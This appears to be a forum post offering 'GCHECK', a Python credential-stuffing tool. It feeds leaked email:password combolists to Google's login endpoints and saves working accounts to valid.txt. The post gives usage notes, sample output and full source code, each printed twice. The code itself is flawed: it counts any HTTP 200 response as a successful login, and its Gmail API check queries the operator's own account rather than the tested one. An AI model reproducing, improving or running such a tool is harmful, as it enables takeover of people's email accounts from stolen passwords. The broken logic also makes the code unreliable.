USAGE:
Authentication:
• Uses OAuth 2.0 for initial setup, opening a browser for login (handles 2FA and CAPTCHA).
• Saves credentials to token.pickle for reuse.
• Uses OAuth 2.0 for initial setup, opening a browser for login (handles 2FA and CAPTCHA).
• Saves credentials to token.pickle for reuse.
Combolist Processing:
• Reads a combolist file (e.g., combolist.txt) line by line.
• Filters for @gmail.com addresses, skipping others (saved to skipped.txt).
• Attempts login using Google’s login endpoint via requests.
• Validates successful logins with the Gmail API to ensure accuracy.
• Reads a combolist file (e.g., combolist.txt) line by line.
• Filters for @gmail.com addresses, skipping others (saved to skipped.txt).
• Attempts login using Google’s login endpoint via requests.
• Validates successful logins with the Gmail API to ensure accuracy.
Output:
• Saves valid credentials to valid.txt, invalid to invalid.txt, and skipped to skipped.txt.
• Prints real-time feedback for each checked combo and a summary of results.
• Saves valid credentials to valid.txt, invalid to invalid.txt, and skipped to skipped.txt.
• Prints real-time feedback for each checked combo and a summary of results.
CAPTCHA Handling:
• Google’s login endpoint may trigger CAPTCHA or 2FA prompts, which are handled by the browser during OAuth setup. Direct login attempts may fail if CAPTCHA is required, and the script logs these as invalid with a note.
• Google’s login endpoint may trigger CAPTCHA or 2FA prompts, which are handled by the browser during OAuth setup. Direct login attempts may fail if CAPTCHA is required, and the script logs these as invalid with a note.
Lightweight Design:
• Uses only google-auth-oauthlib, google-api-python-client, and requests.
• Terminal-based for speed and minimal resource usage.
• Handles errors like invalid file formats or network issues gracefully.
• Uses only google-auth-oauthlib, google-api-python-client, and requests.
• Terminal-based for speed and minimal resource usage.
• Handles errors like invalid file formats or network issues gracefully.
DEPENDECIES:
pip install google-auth-oauthlib google-api-python-client requests
OUTPUT:
____ _ _ _
/ ___| |__ ___| | | ___
| | | '_ \ / __| | |/ _ \
| |___| | | | (__| | | __/
\____|_| |_|____|_|_|\___|
cracked.sh - atxri
GCHECK: Lightweight Gmail Combolist Checker
Loading...
Enter combolist file path (e.g., combolist.txt): combolist.txt
Processing combolist...
--------------------------------------------------
Skipping non-Gmail: user2@yahoo.com
Checking: user1@gmail.com
Invalid: user1@gmail.com - Invalid credentials or CAPTCHA/2FA required
Checking: user3@gmail.com
Valid: user3@gmail.com:correctpass
--------------------------------------------------
Results: 1 valid, 1 invalid, 1 skipped
/ ___| |__ ___| | | ___
| | | '_ \ / __| | |/ _ \
| |___| | | | (__| | | __/
\____|_| |_|____|_|_|\___|
cracked.sh - atxri
GCHECK: Lightweight Gmail Combolist Checker
Loading...
Enter combolist file path (e.g., combolist.txt): combolist.txt
Processing combolist...
--------------------------------------------------
Skipping non-Gmail: user2@yahoo.com
Checking: user1@gmail.com
Invalid: user1@gmail.com - Invalid credentials or CAPTCHA/2FA required
Checking: user3@gmail.com
Valid: user3@gmail.com:correctpass
--------------------------------------------------
Results: 1 valid, 1 invalid, 1 skipped
SOURCE CODE:
#!/usr/bin/env python3
import os
import pickle
import requests
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from googleapiclient.discovery import build
from googleapiclient.errors import HttpError
# ASCII logo for GCHECK
LOGO = """
____ _ _ _
/ ___| |__ ___| | | ___
| | | '_ \ / __| | |/ _ \
| |___| | | | (__| | | __/
\____|_| |_|____|_|_|\___|
cracked.sh - atxri
"""
# Scopes for Gmail API (read-only access for validation)
SCOPES = ['https://www.googleapis.com/auth/gmail.readonly']
def authenticate_gmail():
"""Authenticate with Gmail API using OAuth 2.0 for validation."""
creds = None
token_path = 'token.pickle'
if os.path.exists(token_path):
with open(token_path, 'rb') as token:
creds = pickle.load(token)
if not creds or not creds.valid:
if creds and creds.expired and creds.refresh_token:
creds.refresh(Request())
else:
if not os.path.exists('credentials.json'):
print("Error: credentials.json not found. Please set up OAuth credentials.")
exit(1)
flow = InstalledAppFlow.from_client_secrets_file('credentials.json', SCOPES)
creds = flow.run_local_server(port=0)
with open(token_path, 'wb') as token:
pickle.dump(creds, token)
return build('gmail', 'v1', credentials=creds)
def check_combo(email, password):
"""Attempt to log in with email and password using Google's login endpoint."""
url = "https://accounts.google.com/ServiceLogin"
session = requests.Session()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
try:
# Initial request to get login page
response = session.get(url, headers=headers)
if response.status_code != 200:
return False, "Failed to reach login page"
# Simulate login attempt
data = {
"identifier": email,
"password": password
}
login_url = "https://accounts.google.com/signin/v2/identifier"
response = session.post(login_url, data=data, headers=headers, allow_redirects=True)
# Check if login was successful (simplified, as Google may require CAPTCHA/2FA)
if "myaccount.google.com" in response.url or response.status_code == 200:
return True, "Login successful"
else:
return False, "Invalid credentials or CAPTCHA/2FA required"
except requests.RequestException as e:
return False, f"Network error: {e}"
def validate_with_api(email, service):
"""Validate account access using Gmail API."""
try:
service.users().messages().list(userId='me', maxResults=1).execute()
return True
except HttpError:
return False
def process_combolist(combolist_file, service):
"""Process combolist and check credentials."""
valid_file = open("valid.txt", "w")
invalid_file = open("invalid.txt", "w")
skipped_file = open("skipped.txt", "w")
valid_count = 0
invalid_count = 0
skipped_count = 0
print("\nProcessing combolist...")
print("-" * 50)
try:
with open(combolist_file, "r") as f:
for line in f:
line = line.strip()
if not line or ":" not in line:
print(f"Skipping invalid line: {line}")
skipped_file.write(f"{line}\n")
skipped_count += 1
continue
email, password = line.split(":", 1)
if not email.endswith("@gmail.com"):
print(f"Skipping non-Gmail: {email}")
skipped_file.write(f"{line}\n")
skipped_count += 1
continue
print(f"Checking: {email}")
success, message = check_combo(email, password)
if success:
# Double-check with Gmail API if OAuth is set up
if validate_with_api(email, service):
print(f"Valid: {email}:{password}")
valid_file.write(f"{email}:{password}\n")
valid_count += 1
else:
print(f"Invalid (API check failed): {email}:{password}")
invalid_file.write(f"{email}:{password}\n")
invalid_count += 1
else:
print(f"Invalid: {email} - {message}")
invalid_file.write(f"{email}:{password}\n")
invalid_count += 1
except FileNotFoundError:
print(f"Error: {combolist_file} not found.")
except Exception as e:
print(f"Error processing combolist: {e}")
valid_file.close()
invalid_file.close()
skipped_file.close()
print("-" * 50)
print(f"Results: {valid_count} valid, {invalid_count} invalid, {skipped_count} skipped")
def main():
# Display logo
print(LOGO)
print("GCHECK: Lightweight Gmail Combolist Checker")
print("Loading...\n")
combolist_file = input("Enter combolist file path (e.g., combolist.txt): ").strip()
if not os.path.exists(combolist_file):
print(f"Error: {combolist_file} does not exist.")
return
try:
service = authenticate_gmail()
process_combolist(combolist_file, service)
except Exception as e:
print(f"Failed to run GCHECK: {e}")
if __name__ == '__main__':
main()
import os
import pickle
import requests
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from googleapiclient.discovery import build
from googleapiclient.errors import HttpError
# ASCII logo for GCHECK
LOGO = """
____ _ _ _
/ ___| |__ ___| | | ___
| | | '_ \ / __| | |/ _ \
| |___| | | | (__| | | __/
\____|_| |_|____|_|_|\___|
cracked.sh - atxri
"""
# Scopes for Gmail API (read-only access for validation)
SCOPES = ['https://www.googleapis.com/auth/gmail.readonly']
def authenticate_gmail():
"""Authenticate with Gmail API using OAuth 2.0 for validation."""
creds = None
token_path = 'token.pickle'
if os.path.exists(token_path):
with open(token_path, 'rb') as token:
creds = pickle.load(token)
if not creds or not creds.valid:
if creds and creds.expired and creds.refresh_token:
creds.refresh(Request())
else:
if not os.path.exists('credentials.json'):
print("Error: credentials.json not found. Please set up OAuth credentials.")
exit(1)
flow = InstalledAppFlow.from_client_secrets_file('credentials.json', SCOPES)
creds = flow.run_local_server(port=0)
with open(token_path, 'wb') as token:
pickle.dump(creds, token)
return build('gmail', 'v1', credentials=creds)
def check_combo(email, password):
"""Attempt to log in with email and password using Google's login endpoint."""
url = "https://accounts.google.com/ServiceLogin"
session = requests.Session()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
try:
# Initial request to get login page
response = session.get(url, headers=headers)
if response.status_code != 200:
return False, "Failed to reach login page"
# Simulate login attempt
data = {
"identifier": email,
"password": password
}
login_url = "https://accounts.google.com/signin/v2/identifier"
response = session.post(login_url, data=data, headers=headers, allow_redirects=True)
# Check if login was successful (simplified, as Google may require CAPTCHA/2FA)
if "myaccount.google.com" in response.url or response.status_code == 200:
return True, "Login successful"
else:
return False, "Invalid credentials or CAPTCHA/2FA required"
except requests.RequestException as e:
return False, f"Network error: {e}"
def validate_with_api(email, service):
"""Validate account access using Gmail API."""
try:
service.users().messages().list(userId='me', maxResults=1).execute()
return True
except HttpError:
return False
def process_combolist(combolist_file, service):
"""Process combolist and check credentials."""
valid_file = open("valid.txt", "w")
invalid_file = open("invalid.txt", "w")
skipped_file = open("skipped.txt", "w")
valid_count = 0
invalid_count = 0
skipped_count = 0
print("\nProcessing combolist...")
print("-" * 50)
try:
with open(combolist_file, "r") as f:
for line in f:
line = line.strip()
if not line or ":" not in line:
print(f"Skipping invalid line: {line}")
skipped_file.write(f"{line}\n")
skipped_count += 1
continue
email, password = line.split(":", 1)
if not email.endswith("@gmail.com"):
print(f"Skipping non-Gmail: {email}")
skipped_file.write(f"{line}\n")
skipped_count += 1
continue
print(f"Checking: {email}")
success, message = check_combo(email, password)
if success:
# Double-check with Gmail API if OAuth is set up
if validate_with_api(email, service):
print(f"Valid: {email}:{password}")
valid_file.write(f"{email}:{password}\n")
valid_count += 1
else:
print(f"Invalid (API check failed): {email}:{password}")
invalid_file.write(f"{email}:{password}\n")
invalid_count += 1
else:
print(f"Invalid: {email} - {message}")
invalid_file.write(f"{email}:{password}\n")
invalid_count += 1
except FileNotFoundError:
print(f"Error: {combolist_file} not found.")
except Exception as e:
print(f"Error processing combolist: {e}")
valid_file.close()
invalid_file.close()
skipped_file.close()
print("-" * 50)
print(f"Results: {valid_count} valid, {invalid_count} invalid, {skipped_count} skipped")
def main():
# Display logo
print(LOGO)
print("GCHECK: Lightweight Gmail Combolist Checker")
print("Loading...\n")
combolist_file = input("Enter combolist file path (e.g., combolist.txt): ").strip()
if not os.path.exists(combolist_file):
print(f"Error: {combolist_file} does not exist.")
return
try:
service = authenticate_gmail()
process_combolist(combolist_file, service)
except Exception as e:
print(f"Failed to run GCHECK: {e}")
if __name__ == '__main__':
main()
ENJOY!
This is a bump